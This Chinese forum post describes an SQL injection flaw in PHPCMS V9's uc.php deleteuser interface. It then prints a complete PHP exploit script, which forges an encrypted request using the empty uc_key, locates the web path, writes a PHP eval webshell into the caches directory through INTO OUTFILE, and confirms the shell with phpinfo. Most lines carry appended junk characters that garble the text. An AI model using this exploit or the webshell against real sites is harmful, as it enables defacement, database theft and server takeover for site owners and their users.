PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。! ]6 d% `8 d% y! O6 @, n) o& n- A
/ j. C+ l+ a5 O q$ f
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
3 `) i! e- @. e/ q/ M4 d2 e7 Y- R# |( O m' w8 b
漏洞分析:
& z) o( R6 k, S; c+ _1.未启用ucenter服务的情况下uc_key为空 M; t: w y- `' T! K7 v
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
* s" O* s$ B- l6 _2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。1 Z$ J$ j3 g3 j% H" A7 y
public function deleteuser($get,$post) {2 i, b/ s C( |1 k! `% h2 e
pc_base::load_app_func('global', 'admin');( T, d0 h; s# T, S3 S8 c
pc_base::load_app_class('messagequeue', 'admin' , 0);
7 T$ H/ G9 h. k, |* D: g $ids = new_stripslashes($get['ids']);
o/ u4 o- C& W4 S& B $s = $this->member_db->select("ucuserid in ($ids)", "uid");( v9 j) w. P: d
SQL语句为
5 N( |% V. w) x$ k) g- ySELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
3 M, u$ H1 r/ Q
/ ?7 i/ F3 N, k: q$ l0 h9 ?( v; Z5 A利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell8 ^+ ^6 _/ @8 L2 ?( H
<?php
) Q8 t4 [+ U5 o- @print_r('1 {# t- o$ ?% N1 P8 G
---------------------------------------------------------------------------
" U# W3 I8 K2 o5 E* fPHPcms (v9 or Old Version) uc api sql injection 0day: O( G5 ^+ r4 d) ^0 O I
by rayh4c#80sec.com/ {1 M. N0 {# g. j
---------------------------------------------------------------------------
" v$ t! a& a7 T0 x7 I');) ~5 o v' f; ~0 u9 {3 K6 {' c
8 Z0 x7 y8 w# Kif ($argc<3) {
% n4 a N. }: G# ]9 F print_r('6 w6 q5 s# ?+ e& Q
---------------------------------------------------------------------------
& ?9 c2 [5 j4 l8 ZUsage: php '.$argv[0].' host path OPTIONS
' v' x7 U6 d. k( u6 r, C- hhost: target server (ip/hostname)
: J3 H6 x7 m5 f: }) H! ]path: path to phpcms
! a4 o, ^( c' S2 G* pOptions:
1 Z4 V& k, w4 j$ o) T -p[port]: specify a port other than 80% |( `9 L) `" J( ~6 o
-P[ip:port]: specify a proxy
9 E6 H- O+ n9 ^) U9 W" C- OExample:
; }! b O& Z1 w- V9 t6 tphp '.$argv[0].' localhost /
5 j0 O5 [' \7 S( k2 T4 G0 g. K5 {php '.$argv[0].' localhost /phpcms/ -p81
- i- a' f9 Q* R' }! C ?php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
H0 N, u2 m8 S/ @# A# C---------------------------------------------------------------------------, ?2 |! r& s7 }5 x3 O s5 V# v
');: v) q7 T+ r% M
die;3 J- h! z7 ~* {' B6 B
}
7 Z; Y4 O8 u# T: b) I+ p% U: ^! U' P
error_reporting(7);
( W9 n/ [# }% E [% | Z& vini_set("max_execution_time",0);
, m( \6 r' l% P8 Jini_set("default_socket_timeout",5);8 D- V% E& M5 C+ y! d! ]
! o% Z5 b( _( m: F% h+ J
function quick_dump($string)
7 S8 M3 \. M1 _* B; _4 i9 R! z1 o, Q{
/ [3 d; S+ p3 j $result='';$exa='';$cont=0;
- y- U8 e) L) i1 t2 G. C% T! a for ($i=0; $i<=strlen($string)-1; $i++)
5 q' M" D* m* `! Y" G7 w6 ~9 q {' O4 t7 h' K6 m) W) s
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))$ j! C& e p( L9 K, o
{$result.=" .";}
7 _# r4 @8 e# E: ^& N |3 ?7 z5 \ else% W1 C% b: {) F: N% H, b |
{$result.=" ".$string[$i];}( U0 N6 v. d+ r( o- J- j
if (strlen(dechex(ord($string[$i])))==2) l& g. y! } Q r. o" A, {' |, ~
{$exa.=" ".dechex(ord($string[$i]));}* N* r. |1 w9 l2 A" r+ J! i7 V
else
& I& @6 z4 Y& v J {$exa.=" 0".dechex(ord($string[$i]));}
# ]7 t, E. e: |3 T/ v# @% | $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}6 @* B: W4 W, _/ V( w
}
$ M7 h% |: Y& m- e& {4 b/ Q- E return $exa."\r\n".$result;% F8 r% D8 v6 j; e4 u. r: c7 s" |
}5 b7 S; i0 W5 m8 v( h6 S
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';# s: f Q) B" ^; C& a
1 B3 _1 N0 O, j
function send($packet)
6 m; z0 k8 v" X2 B{8 ]" y* ?- k3 K
global $proxy, $host, $port, $html, $proxy_regex; K( B4 f& [$ s I* {( z a
if ($proxy=='') {
' U+ k& T7 A( S5 f1 N $ock=fsockopen(gethostbyname($host),$port);! r, k6 f+ _) P `# Z
if (!$ock) {
6 }1 g4 r7 }! e" N; K2 y echo 'No response from '.$host.':'.$port; die;$ {+ z/ w0 J& B$ h
}
3 ], ~5 O$ K: Q8 W3 x* @* a: S }
) T+ D$ U9 \9 }7 ~9 j2 Z else {3 M5 p8 s8 O' D7 b y; _
$c = preg_match($proxy_regex,$proxy);
% a) @9 t3 |1 N* X4 V, @+ @ if (!$c) {
& g" x$ k, m4 I: \: C6 H* @0 G echo 'Not a valid proxy...';die;
! W) M( q% A: S }; D1 a. o+ B% F& L, G
$parts=explode(':',$proxy);
& P3 }( b1 l5 i$ p' v2 k n $parts[1]=(int)$parts[1];3 L! h: D, P8 s, k$ ?. Q& w" Q5 m
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";) ` ~7 q1 w8 c. w6 R+ e
$ock=fsockopen($parts[0],$parts[1]);
5 i# X% d! s) ?1 `% F; k if (!$ock) {7 m1 z( _0 I# V
echo 'No response from proxy...';die;+ R; e$ h# c8 S+ S! i' s
}
) H& K b3 o3 E; A5 ]! J7 S }
, h9 q+ y3 i" X fputs($ock,$packet);
- ]( _4 T) g4 k1 ^% ~" f if ($proxy=='') {
! u' [; p: X2 r$ g, S $html='';
1 L4 @" ~- `1 ]5 c while (!feof($ock)) {# V" d1 [1 C, A$ O
$html.=fgets($ock);
7 f( }% `8 a( F$ A8 Q" b* }2 A }' P @8 _. ]" u1 R7 y( e! D# B
}
* U. {5 q- A5 [) T8 U! r2 C else {
6 T8 s! h) J4 z0 f+ Q $html='';
( }: r7 t) d/ U) J9 h9 o3 `5 e while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
; q' U, Q# ?& [- R# u* s) ^ $html.=fread($ock,1);( z1 S3 ^: R" P- L
}, g6 |# Q1 N( h) }* ^ p. g
}+ o1 S! j( R2 u% o
fclose($ock);
3 F* C3 o$ \& D1 o1 _}# |8 {+ o' `: f! e) s
3 p5 x9 X6 t2 k; r: p- t' l$host=$argv[1];
; _6 S; G, g- o$ S! V$path=$argv[2];
D8 K2 N/ C/ R: T& I0 Y2 c$port=80;
* K* T+ T m$ g( R) }$proxy="";
% B5 K( J" u6 G6 B, Ffor ($i=3; $i<$argc; $i++){. q* U) ^$ R! G' t, t
$temp=$argv[$i][0].$argv[$i][1];
& l1 m( w7 r3 Q# e* H$ ~+ @% [if ($temp=="-p")
/ y: m: s. b1 Q) \2 E4 H0 x% t{
0 s" D4 A$ e0 }- I $port=(int)str_replace("-p","",$argv[$i]);% B7 [. ]6 r' E
}1 \3 q+ ]8 C9 Q; Y8 q7 K$ B
if ($temp=="-P")
! V) H% F4 \1 B3 f{
# G6 u# v# M5 d/ H( D $proxy=str_replace("-P","",$argv[$i]);
+ t4 D7 T7 J5 e1 w# q& C}7 n. m8 h9 @( B- p0 d, \: L+ o
}
! J5 w" f/ g. |4 K% z1 P: r0 H# o: \1 n+ F- h
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
7 l& j. B- b0 t" |8 i- pif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
4 _& k3 Q( b) G7 R& p0 m/ ?% K" U0 D- M& V* P
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {* C) v9 U/ V( c/ \" A7 P0 Z
1 @ c, Z: U# @1 q% d $ckey_length = 4;
0 r& E# T5 J8 L( o( r& T6 r% M- ?: ?% Z( x5 }- M0 j; Y% P3 |
$key = md5($key ? $key : '');3 X9 ?) D- ~7 W& j& I, x
$keya = md5(substr($key, 0, 16));
2 g9 Q3 H) t8 V $keyb = md5(substr($key, 16, 16));/ s+ B# h- N4 K8 N+ H) C) c( ^
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
' L9 r5 {' I4 n% U
! h' x! I4 r8 N $cryptkey = $keya.md5($keya.$keyc);% `6 ]6 _4 I& @7 l8 t8 y
$key_length = strlen($cryptkey);
% s4 X7 A: g1 F @, [- ~+ p. f& d2 C) j. G8 Z O% }# g
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;" z1 ]) e9 i0 Q. d6 X& J ]; Z. \
$string_length = strlen($string);
0 ~2 J& L! Z% O' P+ }7 N0 v% M) A4 A9 [9 Q# ]
$result = '';
' x% B# l. q3 O. H* b& @! h4 A $box = range(0, 255);
/ G$ R$ G9 q) C K
! r8 \4 K# |7 z. K( l $rndkey = array();
- w7 z% p, U7 f. F for($i = 0; $i <= 255; $i++) {: s: ^. y7 E0 f& q
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
5 |! A& r) S( c- D; Y' _ }
7 ?8 g% b+ Q' o6 B9 U+ U& M8 v, h$ i Y7 i5 O6 o3 d
for($j = $i = 0; $i < 256; $i++) {
; f8 @7 S6 z8 x! @+ ^ $j = ($j + $box[$i] + $rndkey[$i]) % 256;4 A# G$ r7 o4 B
$tmp = $box[$i];
3 J. }9 o) D! e' k $box[$i] = $box[$j];
2 x5 L0 \' ^ x8 Q9 R& d: t1 Y, T $box[$j] = $tmp;
7 F$ p, V& p; s! v: Z6 P }
H) S7 A% W" G/ ]. p: W+ J+ v* r6 h. `6 v* u6 V
for($a = $j = $i = 0; $i < $string_length; $i++) {$ ]) a0 R2 y( j- p
$a = ($a + 1) % 256;
1 ~5 u9 y% s, c- N8 ^7 X/ p $j = ($j + $box[$a]) % 256;
# a( s0 i5 `, ~3 h $tmp = $box[$a];6 x, {2 V! a. |: J* u( \3 M2 n
$box[$a] = $box[$j];
' I1 N6 |& w, J: b1 C2 {! K $box[$j] = $tmp;; q3 j1 a r, |
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));! V& e0 [+ P- a: E8 T
}
+ E: `. V# \9 v% ^8 L. }: Y2 t9 g. H4 @% J
if($operation == 'DECODE') {4 W0 @4 e9 P7 q, _" N' V
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {6 X0 @) h3 a, L5 g" V
return substr($result, 26);! _! i- k0 t7 g* |/ x' @+ O
} else {3 m$ E5 ~1 U, H! ?6 ~6 E* _1 m: [) x
return '';
! G' V6 g9 [ m4 ?- S }
( v) S. F+ H# G: Z } else {; z" L L' i H+ H
return $keyc.str_replace('=', '', base64_encode($result));2 t5 b5 P5 X/ m* S- z( V+ ]
}$ ?% d: ~+ \! Y9 y5 o
# g. a" J" x, m. H3 g$ i3 N0 g
}
- F; w% i: n+ u& d; S' C. p7 ?. K. w# v% P$ j8 i
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
' Z" I7 {& p5 t$ r1 u% b" @3 ]! ]$SQL = urlencode(authcode($SQL, "ENCODE", ""));
4 V3 |0 Q% v1 d! c( t$ P7 zecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
1 s3 s3 d- u ~# B7 n: m( l) [/ v$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
- e( W# G5 ? |* Y4 X$packet.="User-Agent: Mozilla/5.0\r\n";
: J5 D3 q j( d% y# t$packet.="Host: ".$host."\r\n";
. G, L6 {) q* t; @+ o$packet.="Connection: Close\r\n\r\n";
# d( Z, P6 J& qsend($packet);1 v3 c( ^9 d# c/ ]
if(strpos($html,"MySQL Errno") > 0){
+ C9 `, {' b. s% t4 Mecho "[2] 发现存在SQL注入漏洞"."\n";
: q2 c! a* Q; pecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";6 V6 F) v6 T5 K0 a2 R6 C6 m) |
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";3 i; n$ ]( L$ E# i
$packet.="User-Agent: Mozilla/5.0\r\n";
) b2 |* N6 g6 z9 |' a1 }5 ?$packet.="Host: ".$host."\r\n";; H* T* v& c( D* w% i
$packet.="Connection: Close\r\n\r\n";
" ]8 _) H9 p8 vsend($packet);
+ ?& p. y! z# `+ Cpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
/ K, j0 V( J9 q. n" e+ Z2 \3 B//print_r($matches);6 D0 E: M& @4 R) O: B9 G( o
if(!empty($matches)){# t0 H" H! B; l9 }0 y5 R8 s7 H% n& |
echo "[4] 得到web路径 " . $matches[0]."\n";
! q K- u7 l# j u' fecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
4 Z2 W( z9 b! v' E$SQL = "time=999999999999999999999999&ids=1)";
% s/ n0 ^& k2 V' B3 m$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";" \& l8 d" W7 V8 x
$SQL.="&action=deleteuser";. q- J2 X2 d4 h( E
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
5 s6 `! k2 f' _- o" y% zecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";4 w# t" s& @9 `2 D
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
# C2 N5 A$ |0 v3 f& B7 \9 X$packet.="User-Agent: Mozilla/5.0\r\n";
0 Z! E' s. D4 } q( O4 @& V$packet.="Host: ".$host."\r\n";/ E5 I/ V* k. _% _/ n' _
$packet.="Connection: Close\r\n\r\n";
! b" |6 A2 r. _' d Msend($packet);! y w4 n: @3 U0 B/ W
if(strpos($html,"Access denied") > 0){
. I9 s- l) y; A$ p7 R8 e1 }1 F% Recho "[-] MYSQL权限过低 禁止写入文件 ";
- R% c- B7 Z9 n2 w" Wdie;
8 v, O" S3 t6 h, }7 @3 }}
* x3 @7 @! {" k' j. K, ` kecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";# A8 X) s& t. p. d
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
" n3 \! d8 d' V: P& H/ K7 T/ }. k$packet.="User-Agent: Mozilla/5.0\r\n";
0 W( B; U, x% N& Y' k3 d; H% \) [$packet.="Host: ".$host."\r\n";" Y4 y8 G0 m/ Q
$packet.="Connection: Close\r\n\r\n";; b1 \; ^& |' j" t
send($packet);
% t T7 k8 m0 h4 l! oif(strpos($html,"<title>phpinfo()</title>") > 0){
3 s5 p1 p0 |0 k6 m- j. A# V" x U# l1 Cecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
( j8 \; u0 {: _% A1 |( I}
* G& R4 Y' ]' L6 `# D7 _}else{# t3 a5 M, |- k( Z' Z
echo "[-]未取到web路径 ";
+ A* Y. o2 y; R}) m/ e" t( T9 I z* z' H4 v% l- b5 r
}else{
s8 [, K* w! x4 F! H) c! Y' _echo "[*]不存在SQL注入漏洞"."\n";" t# c( O6 @2 }; i5 S
}
& i0 A( M# k3 u
# A! W( P0 F X6 y- {9 ~?>
# K q% h# p2 i3 w, `# ^. F, E |